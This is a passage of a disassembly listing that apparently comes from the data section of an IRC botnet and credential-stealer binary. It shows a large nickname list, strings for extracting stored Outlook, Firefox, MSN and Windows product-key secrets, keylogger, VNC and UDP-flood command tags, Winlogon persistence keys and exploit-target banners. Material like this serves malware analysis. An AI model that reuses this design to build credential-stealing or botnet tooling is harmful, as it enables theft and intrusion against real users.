'ularu',0 ; DATA XREF: .text:0044F648o align 10h aLizmirlm db 'Lizmirlm',0 ; DATA XREF: .text:0044F644o align 4 aAkd3nnan db 'akd3nnan',0 ; DATA XREF: .text:0044F640o align 4 aK00oray db 'K00ORAY',0 ; DATA XREF: .text:0044F63Co aAta29111 db 'Ata29111',0 ; DATA XREF: .text:0044F638o align 4 aFirt db 'firt',0 ; DATA XREF: .text:0044F634o align 4 aAd33 db 'Ad33',0 ; DATA XREF: .text:0044F630o align 4 aM41st db 'M41ST',0 ; DATA XREF: .text:0044F62Co align 4 aMaxs1lla db 'maxs1lla',0 ; DATA XREF: .text:0044F628o align 10h aAd3m28 db 'Ad3m28',0 ; DATA XREF: .text:0044F624o align 4 aAnkm4a db 'ankM4a',0 ; DATA XREF: .text:0044F620o align 10h aErk3nnn db 'erk3nnn',0 ; DATA XREF: .text:0044F61Co aD3vre db 'd3vre',0 ; DATA XREF: .text:0044F618o align 10h aYab4nc db 'yab4nc',0 ; DATA XREF: .text:0044F614o align 4 aB1rs3n db 'b1rs3n',0 ; DATA XREF: .text:0044F610o align 10h aA44mmm db 'a44mmm',0 ; DATA XREF: .text:0044F60Co align 4 aAlcatrazak db 'alcatraZAK',0 ; DATA XREF: .text:0044F608o align 4 aErkaaaa db 'ERKAAAA',0 ; DATA XREF: .text:0044F604o aSevdan db 'sevdan',0 ; DATA XREF: .text:0044F600o align 4 aKot4n db 'kot4n',0 ; DATA XREF: .text:0044F5FCo align 4 aT3gm3n db 'T3GM3N',0 ; DATA XREF: .text:0044F5F8o align 4 aAchill3s db 'Achill3s',0 ; DATA XREF: .text:0044F5F4o align 10h aK4pk db 'k4pk',0 ; DATA XREF: .text:0044F5F0o align 4 aAng3lg4l db 'ang3lg4l',0 ; DATA XREF: .text:0044F5ECo align 4 aH4yr4n db 'h4yr4n',0 ; DATA XREF: .text:0044F5E8o align 4 aF3n3r db 'F3N3R',0 ; DATA XREF: .text:0044F5E4o align 4 aAnkart db 'Ankart',0 ; DATA XREF: .text:0044F5E0o align 4 aDjmace db 'DJMACE',0 ; DATA XREF: .text:0044F5DCo align 4 aAnk32 db 'ANK32',0 ; DATA XREF: .text:0044F5D8o align 4 aUmut00 db 'umut00',0 ; DATA XREF: .text:0044F5D4o align 4 aAd4lim db 'AD4LIM',0 ; DATA XREF: .text:0044F5D0o align 4 aKumul db 'kumul',0 ; DATA XREF: .text:0044F5CCo align 4 aUzgun36 db 'uzgun36',0 ; DATA XREF: .text:0044F5C8o aSugaboi db 'SUGABOi',0 ; DATA XREF: .text:0044F5C4o aS3vis db 'S3ViS',0 ; DATA XREF: .text:0044F5C0o align 4 aKashmira db 'Kashmira',0 ; DATA XREF: .text:0044F5BCo align 4 aAkut1 db 'akut1',0 ; DATA XREF: .text:0044F5B8o align 10h aEllesme db 'Ellesme',0 ; DATA XREF: .text:0044F5B4o aMahinure db 'MAHINURE',0 ; DATA XREF: .text:0044F5B0o align 4 aH0ly1 db 'h0ly1',0 ; DATA XREF: .text:0044F5ACo align 4 aFl0rd db 'FL0RD',0 ; DATA XREF: .text:0044F5A8o align 4 aKeb1kec db 'keb1kec',0 ; DATA XREF: .text:0044F5A4o aEsm3rkiz db 'Esm3rkiz',0 ; DATA XREF: .text:0044F5A0o align 4 aElm4zyok db 'elm4zyok',0 ; DATA XREF: .text:0044F59Co align 4 aEmr3e db 'Emr3e',0 ; DATA XREF: .text:0044F598o align 4 aAmth4n db 'AMTH4N',0 ; DATA XREF: .text:0044F594o align 4 aIrz4l db 'IRZ4L',0 ; DATA XREF: .text:0044F590o align 4 aHak4n3 db 'hak4n3',0 ; DATA XREF: .text:0044F58Co align 4 aMuratm_ db 'muratm_',0 ; DATA XREF: .text:0044F588o aKeyifli db 'keyifli',0 ; DATA XREF: .text:0044F584o aArd4k db 'ard4k',0 ; DATA XREF: .text:0044F580o align 4 aDevran db 'DeVran',0 ; DATA XREF: .text:0044F57Co align 4 aDzlim db 'DzliM',0 ; DATA XREF: .text:0044F578o align 4 aCongu db 'CoNGU',0 ; DATA XREF: .text:0044F574o align 4 aAlpay3m db 'alpay3m',0 ; DATA XREF: .text:0044F570o aBog4c3r db 'bog4c3r',0 ; DATA XREF: .text:0044F56Co aDonju4nm db 'Donju4nm',0 ; DATA XREF: .text:0044F568o align 10h aAnkh4h db 'ankh4h',0 ; DATA XREF: .text:0044F564o align 4 aAte3e db 'AtE3e',0 ; DATA XREF: .text:0044F560o align 10h aAyla db 'AYLA-',0 ; DATA XREF: .text:0044F55Co align 4 aAlb1na db 'alb1na',0 ; DATA XREF: .text:0044F558o align 10h aIzm1rm db 'Izm1rm',0 ; DATA XREF: .text:0044F554o align 4 aAck0111 db 'ACK0111',0 ; DATA XREF: .text:0044F550o aAnk32m db 'ank32m',0 ; DATA XREF: .text:0044F54Co align 4 aTurkyballs db 'turkyballs',0 ; DATA XREF: .text:0044F548o align 4 aAhm3t db 'ahm3t',0 ; DATA XREF: .text:0044F544o align 4 aPelinci db 'pelinci',0 ; DATA XREF: .text:0044F540o aBlackp34rl db 'blackp34rl',0 ; DATA XREF: .text:0044F53Co align 10h aRetg db 'RETG-',0 ; DATA XREF: .text:0044F538o align 4 aSamy3li db 'samy3li',0 ; DATA XREF: .text:0044F534o aPiram1t db 'PIRAM1T',0 ; DATA XREF: .text:0044F530o aAslii db 'aslii',0 ; DATA XREF: .text:0044F52Co align 10h aErnesto db 'ERNESTO',0 ; DATA XREF: .text:0044F528o aHaticem db 'haticem',0 ; DATA XREF: .text:0044F524o aArzu db 'ARZU',0 ; DATA XREF: .text:0044F520o align 4 aAhm3txtc db 'Ahm3tXTC',0 ; DATA XREF: .text:0044F51Co align 4 aDczz db 'dczz',0 ; DATA XREF: .text:0044F518o align 4 aXtczzz db 'xTczzz',0 ; DATA XREF: .text:0044F514o align 4 aXc4l db 'XC4L',0 ; DATA XREF: .text:0044F510o align 4 aBlondu db 'Blondu-',0 ; DATA XREF: .text:0044F50Co aRot0r db 'rot0r',0 ; DATA XREF: .text:0044F508o align 4 aAkw1dz db 'AKW1Dz',0 ; DATA XREF: .text:0044F504o align 4 aBl0ndu db 'Bl0ndu',0 ; DATA XREF: .text:0044F500o align 4 a_d db '_d',0 ; DATA XREF: .text:0044F4FCo align 10h aD_ db 'd_',0 ; DATA XREF: .text:0044F4F8o align 4 aDog db 'dog-',0 ; DATA XREF: .text:0044F4F4o align 4 aNils db 'Nils-',0 ; DATA XREF: .text:0044F4F0o align 4 aRyann db 'ryann',0 ; DATA XREF: .text:0044F4ECo align 4 aSmok3yS db 'smok3y-s',0 ; DATA XREF: .text:0044F4E4o align 4 aSmokeySn db 'smokey-sn',0 ; DATA XREF: .text:0044F4E0o align 4 aR0t0 db 'r0t0',0 ; DATA XREF: .text:0044F4DCo align 4 aR0t0r db 'r0t0r-',0 ; DATA XREF: .text:0044F4D8o ; .text:0044F4E8o align 4 aSud3nur db 'SUD3NUR',0 ; DATA XREF: .text:0044F4D4o aSevmekmi db 'sevmekmi',0 ; DATA XREF: .text:0044F4D0o align 4 aVenedik34 db 'venedik34',0 ; DATA XREF: .text:0044F4CCo align 4 aTekir db 'tekir',0 ; DATA XREF: .text:0044F4C8o align 4 aMERV db 'M-E-R-V',0 ; DATA XREF: .text:0044F4C4o aTrr3nd db 'trr3nd',0 ; DATA XREF: .text:0044F4C0o align 4 aMel3kk db 'mel3kk',0 ; DATA XREF: .text:0044F4BCo align 4 aAk1n db 'AK1N',0 ; DATA XREF: .text:0044F4B8o align 4 aM4ry db 'M4RY-',0 ; DATA XREF: .text:0044F4B4o align 4 aJer1cho db 'JER1CHO',0 ; DATA XREF: .text:0044F4B0o aTolga38 db 'Tolga38',0 ; DATA XREF: .text:0044F4ACo aMizsund4y db 'mizsund4y',0 ; DATA XREF: .text:0044F4A8o align 10h aIrm4ll db 'irm4Ll',0 ; DATA XREF: .text:0044F4A4o align 4 aBenibi db 'BeNiBi',0 ; DATA XREF: .text:0044F4A0o align 10h aBerkkkko db 'berkkkko',0 ; DATA XREF: .text:0044F49Co align 4 aHexa4a db 'hexa4a',0 ; DATA XREF: .text:0044F498o align 4 aErk4nerkali db 'erk4nerkali',0 ; DATA XREF: .text:0044F494o aKandent db 'kandent',0 ; DATA XREF: .text:0044F490o aC4nsuu db 'c4nsuu',0 ; DATA XREF: .text:0044F48Co align 10h aR45h3r db 'R45H3R',0 ; DATA XREF: .text:0044F488o align 4 aK3ncing db 'K3ncing',0 ; DATA XREF: .text:0044F484o aReshma db 'reshma',0 ; DATA XREF: .text:0044F480o align 4 aCam3l db 'CAM3L-',0 ; DATA XREF: .text:0044F47Co align 10h aGirlzx db 'GirLzx',0 ; DATA XREF: .text:0044F478o align 4 aIiimra db 'iiimra',0 ; DATA XREF: .text:0044F474o align 10h aC0redumpdd db 'C0reDumpDd',0 ; DATA XREF: .text:0044F470o align 4 aPur3g0ld db 'pur3g0ld',0 ; DATA XREF: .text:0044F46Co align 4 aK3rm1t db 'k3rm1t',0 ; DATA XREF: .text:0044F468o align 10h aM4n4e db 'm4n4e',0 ; DATA XREF: .text:0044F464o align 4 aTr0ll3r db 'tr0ll3r',0 ; DATA XREF: .text:0044F460o aLisau db 'Lisau',0 ; DATA XREF: .text:0044F45Co align 4 aNastsha db 'nastsha',0 ; DATA XREF: .text:0044F458o aH4xdd db 'h4xdd-',0 ; DATA XREF: .text:0044F454o align 4 aR1mpy db 'r1mpy',0 ; DATA XREF: .text:0044F450o align 10h aJann0 db 'jann0',0 ; DATA XREF: .text:0044F44Co align 4 aBunty007 db 'bunty007',0 ; DATA XREF: .text:0044F448o align 4 aHev4l db 'hev4l',0 ; DATA XREF: .text:0044F444o align 4 aCmecme db 'cmecme',0 ; DATA XREF: .text:0044F440o align 4 aSe1nf3ld db 'se1nf3ld',0 ; DATA XREF: .text:0044F43Co align 10h aSeiny db 'seiny',0 ; DATA XREF: .text:0044F438o align 4 aM4rcy db 'm4rcy',0 ; DATA XREF: .text:0044F434o align 10h aTalika db 'Talika',0 ; DATA XREF: .text:0044F430o align 4 aShezzza db 'Shezzza',0 ; DATA XREF: .text:0044F42Co aPwntuuuu db 'pwntuuuu',0 ; DATA XREF: .text:0044F428o align 4 aXtcXcal db 'xTc-xCaL',0 ; DATA XREF: .text:0044F424o align 4 aXc4libr3 db 'xc4libr3',0 ; DATA XREF: .text:0044F420o align 4 aK3nnn db 'k3nnn',0 ; DATA XREF: .text:0044F41Co align 4 aFl3xxxt3r db 'fl3xxxt3r',0 ; DATA XREF: .text:0044F418o align 4 aKok00 db 'kok00',0 ; DATA XREF: .text:0044F414o align 10h aM4le db 'm4le',0 ; DATA XREF: .text:0044F410o align 4 aSw1n db 'sw1n',0 ; DATA XREF: .text:0044F40Co align 10h aC4r1nna db 'C4r1nna',0 ; DATA XREF: .text:0044F408o aKr1zha db 'KR1ZHA',0 ; DATA XREF: .text:0044F404o align 10h aEmilyia db 'Emilyia',0 ; DATA XREF: .text:0044F400o aEmilya db 'emilya',0 ; DATA XREF: .text:0044F3FCo align 10h aB0bm4rl3y db 'B0BM4RL3Y',0 ; DATA XREF: .text:0044F3F8o align 4 aMax1xguy db 'max1xguy',0 ; DATA XREF: .text:0044F3F4o align 4 aFar0oq db 'far0oq',0 ; DATA XREF: .text:0044F3F0o align 10h aSm4rt3 db 'SM4RT3',0 ; DATA XREF: .text:0044F3ECo align 4 aN_4: ; DATA XREF: .text:0044F3E4o unicode 0, <N>,0 aB_1: ; DATA XREF: .text:0044F3E0o unicode 0, <B>,0 aV_2: ; DATA XREF: .text:0044F3DCo unicode 0, <V>,0 aC_4: ; DATA XREF: .text:0044F3D8o unicode 0, <C>,0 aZ_4: ; DATA XREF: .text:0044F3D0o unicode 0, <Z>,0 asc_44FFDC: ; DATA XREF: .text:0044F3CCo unicode 0, <L>,0 aK_3: ; DATA XREF: .text:0044F3C8o unicode 0, <K>,0 aJ_2: ; DATA XREF: .text:0044F3C4o unicode 0, <J>,0 asc_44FFE8: ; DATA XREF: .text:0044F3C0o unicode 0, <H>,0 aG_2: ; DATA XREF: .text:0044F3BCo unicode 0, <G>,0 aF_2: ; DATA XREF: .text:0044F3B8o ; .text:0044F7B0o unicode 0, <F>,0 aD_3: ; DATA XREF: .text:0044F3B4o unicode 0, <D>,0 aS_10: ; DATA XREF: .text:0044F3B0o unicode 0, <S>,0 aA_1: ; DATA XREF: .text:0044F3ACo unicode 0, <A>,0 aO_3: ; DATA XREF: .text:0044F3A4o unicode 0, <O>,0 aI_4: ; DATA XREF: .text:0044F3A0o unicode 0, <I>,0 aU_3: ; DATA XREF: .text:0044F39Co unicode 0, <U>,0 aY_3: ; DATA XREF: .text:0044F398o unicode 0, <Y>,0 aT_3: ; DATA XREF: .text:0044F394o unicode 0, <T>,0 aR_2: ; DATA XREF: .text:0044F390o unicode 0, <R>,0 aE_4: ; DATA XREF: .text:0044F38Co unicode 0, <E>,0 aW_2: ; DATA XREF: .text:0044F388o unicode 0, <W>,0 aQ_3: ; DATA XREF: .text:0044F384o unicode 0, <Q>,0 aM_7: ; DATA XREF: .text:0044F380o ; .text:0044F71Co unicode 0, <m>,0 aN_5: ; DATA XREF: .text:0044F37Co ; .text:0044F720o unicode 0, <n>,0 aB_2: ; DATA XREF: .text:0044F378o ; .text:0044F6ECo ... unicode 0, <b>,0 aV_3: ; DATA XREF: .text:0044F374o ; .text:0044F73Co unicode 0, <v>,0 aZ_5: ; DATA XREF: .text:0044F368o ; .text:0044F74Co ... unicode 0, <z>,0 asc_450038: ; DATA XREF: .text:0044F364o ; .text:0044F718o unicode 0, <l>,0 aK_4: ; DATA XREF: .text:0044F360o ; .text:0044F714o unicode 0, <k>,0 aJ_3: ; DATA XREF: .text:0044F35Co ; .text:0044F710o unicode 0, <j>,0 asc_450044: ; DATA XREF: .text:0044F358o ; .text:0044F704o unicode 0, <h>,0 aG_3: ; DATA XREF: .text:0044F354o ; .text:0044F700o ... unicode 0, <g>,0 aF_3 db 'f',0 ; DATA XREF: .text:0044F350o ; .text:0044F6FCo off_45004E dd offset dword_640000 ; DATA XREF: .text:off_44ED34o ; .text:0044ED80o ... db 0 byte_450053 db 0 ; DATA XREF: .text:0044ED70o dword_450054 dd 70h ; .text:0044F340o ... dword_450058 dd 69h ; .text:0044F708o dword_45005C dd 75h ; .text:0044F738o dword_450060 dd 74h ; .text:0044F734o dword_450064 dd 77h ; .text:0044F740o aSPstore_dllNot db '%s PStore.dll not loaded',0 ; DATA XREF: sub_423846+B1o align 4 aPop3Pass2 db 'POP3 Pass2',0 ; DATA XREF: sub_423919+29Co align 10h aPop3Server db 'POP3 Server',0 ; DATA XREF: sub_423919+250o aPop3UserName db 'POP3 User Name',0 ; DATA XREF: sub_423919+1FCo align 4 aHttpmailPass2 db 'HTTPMail Pass2',0 ; DATA XREF: sub_423919+15Fo align 4 aHotmail db 'Hotmail',0 ; DATA XREF: sub_423919+144o aHttpmailUserna db 'HTTPMail UserName',0 ; DATA XREF: sub_423919+F3o align 4 aSoftwareMicr_1 db 'Software\Microsoft\Internet Account Manager\Accounts',0 ; DATA XREF: sub_423919+2Co ; sub_423919+96o align 10h aSNoPstoreEntri db '%s No PStore entries found.',0 ; DATA XREF: sub_423C7A+909o dword_45012C dd 2207325h, 61724528h, 20646573h, 6C74754Fh, 206B6F6Fh ; DATA XREF: sub_423C7A+87Eo dd 72707845h, 29737365h, 220023Ah, 702F6C28h, 20023A29h dd 3A73255Bh, 5D7325h dword_45015C dd 2207325h, 74754F28h, 6B6F6F6Ch, 70784520h, 73736572h ; DATA XREF: sub_423C7A+83Ao dd 20023A29h, 2207325h, 702F6C28h, 20023A29h, 3A73255Bh dd 5D7325h a220d5cc1 db '220d5cc1',0 ; DATA XREF: sub_423C7A+788o align 4 dword_450194 dd 2207325h, 4E534D28h, 2F444920h, 73736150h, 20023A29h ; DATA XREF: sub_423C7A+750o dd 2F6C2802h, 23A2970h, 73255B20h, 5D73253Ah, 0 aB9819c52 db 'b9819c52',0 ; DATA XREF: sub_423C7A+5E9o align 4 dword_4501C8 dd 2207325h, 20454928h, 294C5255h, 2520023Ah, 28022073h ; DATA XREF: sub_423C7A+5C4o dd 29702F6Ch, 5B20023Ah, 253A7325h, 5D73h dword_4501EC dd 70747468h, 2F3A73hdword_4501F4 dd 70747468h, 2F3Ahdword_4501FC dd 7274533Ah, 676E69h ; sub_423C7A+4D2o aStringindex db 'StringIndex',0 ; DATA XREF: sub_423C7A+4A0o aE161255a db 'e161255a',0 ; DATA XREF: sub_423C7A+486o align 4 dword_45021C dd 2207325h, 20454928h, 204C5255h, 63617448h, 73736563h ; DATA XREF: sub_423C7A+461o dd 20023A29h, 2207325h, 702F6C28h, 20023A29h, 3A73255Bh dd 5D7325h a5e7e8100 db '5e7e8100',0 ; DATA XREF: sub_423C7A+3B1o align 4 aWs db '%ws',0 ; DATA XREF: sub_423C7A+2DDo asc_450258 db '%x',0 ; DATA XREF: sub_423C7A+1F1o align 4 dword_45025C dd 5A6F1EC0h, 11D02DB1h, 0C000398Ch, 6B12D94Fh ; sub_423C7A+232o ... dword_45026C dd 6E207325h, 2520746Fh, 2E73haProtectedstora db 'ProtectedStorage',0 ; DATA XREF: sub_423C7A+13o align 4 aPl_base64decod db 'PL_Base64Decode',0 ; DATA XREF: sub_424762+1D4o aPk11_checkuser db 'PK11_CheckUserPassword',0 ; DATA XREF: sub_424762+189o align 4 aPk11sdr_decryp db 'PK11SDR_Decrypt',0 ; DATA XREF: sub_424762+177o aPk11_authentic db 'PK11_Authenticate',0 ; DATA XREF: sub_424762+165o align 4 aPk11_freeslot db 'PK11_FreeSlot',0 ; DATA XREF: sub_424762+153o align 4 aPk11_getintern db 'PK11_GetInternalKeySlot',0 ; DATA XREF: sub_424762+141o aNss_shutdown db 'NSS_Shutdown',0 ; DATA XREF: sub_424762+12Fo align 10h aNss_init db 'NSS_Init',0 ; DATA XREF: sub_424762+122o align 4 aSoftokn3_dll db 'softokn3.dll',0 ; DATA XREF: sub_424762+C9o align 4 aSqlite3_dll db 'sqlite3.dll',0 ; DATA XREF: sub_424762+7Ao aNssutil3_dll db 'nssutil3.dll',0 ; DATA XREF: sub_424762+69o align 4 aPlds4_dll db 'plds4.dll',0 ; DATA XREF: sub_424762+4Bo ; sub_424762+94o align 4 aNspr4_dll db 'nspr4.dll',0 ; DATA XREF: sub_424762+34o align 10h aMozcrt19_dll db 'mozcrt19.dll',0 ; DATA XREF: sub_424762+28o align 10h aNss3_dll db 'nss3.dll',0 ; DATA XREF: sub_424762+1Do align 4 aPlc4_dll db 'plc4.dll',0 ; DATA XREF: sub_424762+18o align 4 asc_450388 db ': ',0 ; DATA XREF: sub_424B0B+1ABo ; sub_42BEF9+28o align 4 dword_45038C dd 2207325h, 25464628h, 52552064h, 23A294Ch, 20732520h ; DATA XREF: sub_424B0B+11Eo dd 2F6C2802h, 23A2970h, 20h dword_4503AC dd 6E676973h, 33736E6Fh, 7478742Eh, 0 ; sub_425092+171o dword_4503BC dd 6E676973h, 32736E6Fh, 7478742Eh, 0 ; sub_425092+14Eo dword_4503CC dd 6E676973h, 2E736E6Fh, 747874h ; sub_425092+12Bo aSoftwareClient db 'SOFTWARE\Clients\StartMenuInternet\firefox.exe\shell\open\command' ; DATA XREF: sub_424D65+Fo db 0 align 4 aPath_0 db 'path=',0 ; DATA XREF: sub_424EAB:loc_424FB6o align 4 aNameDefault db 'name=default',0 ; DATA XREF: sub_424EAB+F1o align 4 aProfiles_ini db '\profiles.ini',0 ; DATA XREF: sub_424EAB+ACo align 4 aApplicationDat db 'Application Data\Mozilla\Firefox',0 ; DATA XREF: sub_424EAB+2Ao align 4 aCurrentversion db 'CurrentVersion',0 ; DATA XREF: sub_425092+80o align 4 aSoftwareMozi_0 db 'SOFTWARE\mozilla.org\Mozilla',0 ; DATA XREF: sub_425092+5Fo align 4 aSoftwareMozill db 'SOFTWARE\Mozilla\Mozilla Firefox',0 ; DATA XREF: sub_425092+45o align 4 aAllowD db 'Allow%d',0 ; DATA XREF: sub_42521F+1DEo dword_4504C4 dd 4E534D02h, 2520023Ah, 73haSoftwareMicr_3 db 'Software\Microsoft\MessengerService\ListCache\.NET Messenger Serv' ; DATA XREF: sub_42521F+194o db 'ice',0 align 4 aSoftwareMicr_2 db 'Software\Microsoft\WAB\WAB4\Wab File Name',0 ; DATA XREF: sub_42521F+41o align 4 byte_450544 db 42h ; DATA XREF: sub_425489+A3r aCdfghjkmpqrtvw db 'CDFGHJKMPQRTVWXY2346789',0 align 10h aDigitalproduct db 'DigitalProductId',0 ; DATA XREF: sub_425489+43o align 4 aSoftwareMicr_4 db 'SOFTWARE\Microsoft\Windows NT\CurrentVersion',0 ; DATA XREF: sub_425489+15o align 4 aSWindowsKeyNot db '%s Windows Key not found.',0 ; DATA XREF: sub_425568+16Fo align 10h aSWindowsSSKey_ db '%s Windows %s (%s) Key: %.29s',0 ; DATA XREF: sub_425568+149o align 10h a2008 db '2008',0 ; DATA XREF: sub_425568:loc_425671o align 4 aVnc db '[VNC]:',0 ; DATA XREF: sub_425786+F7o align 10h aKeylogger db '[KEYLOGGER]:',0 ; DATA XREF: sub_425786+E2o align 10h aTftp_0 db '[TFTP]:',0 ; DATA XREF: sub_425786+CDo aFtp_0 db '[FTP]:',0 ; DATA XREF: sub_425786+B8o align 10h aScan db '[SCAN]:',0 ; DATA XREF: sub_425786+A7o aMain_1 db '[MAIN]:',0 ; DATA XREF: sub_425786+96o aPhpshell db 'phpshell',0 ; DATA XREF: sub_425786+85o align 4 aWget db 'wget',0 ; DATA XREF: sub_425786+74o align 4 aPush db '!* PUSH',0 ; DATA XREF: sub_425786+63o aPan db '!* PAN',0 ; DATA XREF: sub_425786+52o align 4 aUdp db '!* UDP',0 ; DATA XREF: sub_425786:loc_4257C7o align 4 aSh db '!* SH',0 ; DATA XREF: sub_425786+2Bo align 4 aTopic_0 db 'TOPIC',0 ; DATA XREF: sub_425892+F7o align 4 aNotice db 'NOTICE',0 ; DATA XREF: sub_425892+E2o align 4 aUserhost db 'USERHOST',0 ; DATA XREF: sub_425892+CDo align 10h aPing db 'PING',0 ; DATA XREF: sub_425892+B8o align 4 aPong db 'PONG',0 ; DATA XREF: sub_425892+A7o align 10h aOper db 'OPER',0 ; DATA XREF: sub_425892+96o align 4 aJoin db 'JOIN',0 ; DATA XREF: sub_425892+85o align 10h aPrivmsg db 'PRIVMSG',0 ; DATA XREF: sub_425892+74o aNowANetworkAdm db 'now a network administrator',0 ; DATA XREF: sub_425892+63o aIrcOperator db 'IRC Operator',0 ; DATA XREF: sub_425892+52o align 4 aPass_0 db 'PASS ',0 ; DATA XREF: sub_425892:loc_4258D3o ; sub_42599E:loc_425A01o align 4 aUser_1 db 'USER ',0 ; DATA XREF: sub_42599E+4Do align 4 aMail db 'Mail',0 ; DATA XREF: sub_42599E+3Co align 4 off_4506DC dd offset byte_4B4F2B ; DATA XREF: sub_42599E+2Bo a_bot_login db '_BOT_LOGIN',0 ; DATA XREF: sub_425A16:loc_425A57o align 4 a_bot db '_BOT',0 ; DATA XREF: sub_425A16+2Bo align 4 aOpenssh_2 db 'OpenSSH_2',0 ; DATA XREF: sub_425A6C+63o align 10h aServUFtpServer db 'Serv-U FTP Server',0 ; DATA XREF: sub_425A6C+52o align 4 aApache1_3 db 'Apache/1.3',0 ; DATA XREF: sub_425A6C:loc_425AADo align 10h aOpenssl0_9_6 db 'OpenSSL/0.9.6',0 ; DATA XREF: sub_425A6C+2Bo align 10h dword_450730 dd 6C755602h, 22F2F6EhaSDSDS db ' (%s:%d) -> (%s:%d) - "%s"',0 align 4 unk_450754 db 2 ; DATA XREF: sub_425AE4+2CAo db 50h, 48h, 50h db 2Fh ; / db 2Fh, 2, 20h aSDSDS_0 db '(%s:%d) -> (%s:%d) - "%s"',0 align 4 unk_450778 db 2 ; DATA XREF: sub_425AE4+2A0o db 46h, 54h, 50h db 2Fh ; / db 2Fh, 2, 20h aSDSDS_1 db '(%s:%d) -> (%s:%d) - "%s"',0 align 4 unk_45079C db 2 ; DATA XREF: sub_425AE4+276o db 49h, 52h, 43h db 2Fh ; / db 2Fh, 2, 20h aSDSDS_2 db '(%s:%d) -> (%s:%d) - "%s"',0 align 10h unk_4507C0 db 2 ; DATA XREF: sub_425AE4+249o db 42h, 6Fh, 74h db 2Fh ; / db 2Fh, 2, 20h aSDSDS_3 db '(%s:%d) -> (%s:%d) - "%s"',0 align 4 aPostHttp1_1Hos db 'POST / HTTP/1.1',0Dh,0Ah ; DATA XREF: sub_425E18+E5o db 'Host: %s',0Dh,0Ah db 'Content-Length: %d',0Dh,0Ah db 0Dh,0Ah,0 align 4 aSEuropeDKbitSU db '%s ~ Europe[%d kbit/s] ~ USA[%d kbit/s] ~ Asia[%d kbit/s] ~ Avera' ; DATA XREF: sub_425FFA+275o db 'ge[%d kbit/s]',0 align 4 aWww_kaist_ac_k db 'www.kaist.ac.kr',0 ; DATA XREF: sub_425FFA+14Eo aWww_pku_edu_cn db 'www.pku.edu.cn',0 ; DATA XREF: sub_425FFA+147o align 4 aWww_bandai_co_ db 'www.bandai.co.jp',0 ; DATA XREF: sub_425FFA+140o align 4 aWww_seikoWatch db 'www.seiko-watch.co.jp',0 ; DATA XREF: sub_425FFA+139o align 4 aWww_nintendo_0 db 'www.nintendo.co.jp',0 ; DATA XREF: sub_425FFA+132o align 4 aWww_nthu_edu_t db 'www.nthu.edu.tw',0 ; DATA XREF: sub_425FFA+12Bo aWww_lib_nthu_e db 'www.lib.nthu.edu.tw',0 ; DATA XREF: sub_425FFA+124o aWww_umin_ac_jp db 'www.umin.ac.jp',0 ; DATA XREF: sub_425FFA+11Do align 4 aUnimelb_edu_au db 'unimelb.edu.au',0 ; DATA XREF: sub_425FFA+116o align 4 aWww_conexim_co db 'www.conexim.com.au',0 ; DATA XREF: sub_425FFA+10Fo align 10h aGamearena_com_ db 'gamearena.com.au',0 ; DATA XREF: sub_425FFA+108o align 4 aWww_nintendo_c db 'www.nintendo.com',0 ; DATA XREF: sub_425FFA+101o align 4 aWww_apple_com db 'www.apple.com',0 ; DATA XREF: sub_425FFA+FAo align 4 aWww_easynews_c db 'www.easynews.com',0 ; DATA XREF: sub_425FFA+F3o align 4 aWww_above_net db 'www.above.net',0 ; DATA XREF: sub_425FFA+ECo align 4 aWww_level3_com db 'www.level3.com',0 ; DATA XREF: sub_425FFA+E5o align 4 aWww_burst_net db 'www.burst.net',0 ; DATA XREF: sub_425FFA+DEo align 4 aWww_cogentco_c db 'www.cogentco.com',0 ; DATA XREF: sub_425FFA+D7o align 10h aWww_rit_edu db 'www.rit.edu',0 ; DATA XREF: sub_425FFA+D0o aWww_nocster_co db 'www.nocster.com',0 ; DATA XREF: sub_425FFA+C9o aWww_stanford_e db 'www.stanford.edu',0 ; DATA XREF: sub_425FFA+C2o align 10h aWww_xo_net db 'www.xo.net',0 ; DATA XREF: sub_425FFA+BBo align 4 aWww_google_com db 'www.google.com',0 ; DATA XREF: sub_425FFA+B4o align 4 aWww_nintendoEu db 'www.nintendo-europe.com',0 ; DATA XREF: sub_425FFA+ADo aWww_supergames db 'www.supergames.cz',0 ; DATA XREF: sub_425FFA+A6o align 4 aWww_epfl_ch db 'www.epfl.ch',0 ; DATA XREF: sub_425FFA+9Fo aWww_hon_ch db 'www.hon.ch',0 ; DATA XREF: sub_425FFA+98o align 10h aWww_switch_ch db 'www.switch.ch',0 ; DATA XREF: sub_425FFA+91o align 10h aWww_1und1_de db 'www.1und1.de',0 ; DATA XREF: sub_425FFA+8Ao align 10h aWww_rtv_de db 'www.rtv.de',0 ; DATA XREF: sub_425FFA+83o align 4 aWww_rollingsto db 'www.rollingstone.de',0 ; DATA XREF: sub_425FFA+7Co aWww_uniTuebing db 'www.uni-tuebingen.de',0 ; DATA XREF: sub_425FFA+72o align 4 aWww_univAngers db 'www.univ-angers.fr',0 ; DATA XREF: sub_425FFA+68o align 4 aVerio_fr db 'verio.fr',0 ; DATA XREF: sub_425FFA+5Eo align 4 aWww_volkskrant db 'www.volkskrant.nl',0 ; DATA XREF: sub_425FFA+54o align 4 aWww_news_nl db 'www.news.nl',0 ; DATA XREF: sub_425FFA+4Ao aWww_utwente_nl db 'www.utwente.nl',0 ; DATA XREF: sub_425FFA+40o align 4 aWww_schlund_ne db 'www.schlund.net',0 ; DATA XREF: sub_425FFA+36o a0123456789abcd db '0123456789ABCDEFGHIJKLMNOPQRSTUVWXWYZabcdefghijklmnopqrstuvwxyz',0 ; DATA XREF: sub_426323+1Do a432 db '432',0 ; DATA XREF: sub_4263D5+87o aSS_0 db '%s %s',0Ah,0 ; DATA XREF: sub_4263D5+6Bo ; sub_4263D5+C2o ... align 4 aSSSSMail_gmail db '%s %s',0Ah ; DATA XREF: sub_4264CB+101o db '%s %s "mail.gmail.com" "127.0.0.1" :%s',0Ah,0 align 8 aAbcdefghijkl_0 db 'abcdefghijklmnopqrstuvwxyz1234567890-|`_\{[]}abcdefghijklmnopqrst' ; DATA XREF: sub_426761+C8o ; sub_426761+180r ... db 'uvwxyz',0 aMirc32 db 'mIRC32',0 ; DATA XREF: sub_426C45+1Fo align 4 a0_0_0_0 db '0.0.0.0',0 ; DATA XREF: sub_42722B+100o aSSSWithDPackS db '%s %s (%s) with (%d) pack(s)',0 ; DATA XREF: sub_42757B+1AAo align 10h aSoftwareMicr_5 db 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon',0 ; DATA XREF: sub_4277F1+25o align 4 aShell db 'Shell',0 ; DATA XREF: sub_4277F1+20o align 10h a_2d_2d4d_2d_2d db '%.2d/%.2d/%4d, %.2d:%.2d %s',0 ; DATA XREF: sub_427BC4+6Co aAm db 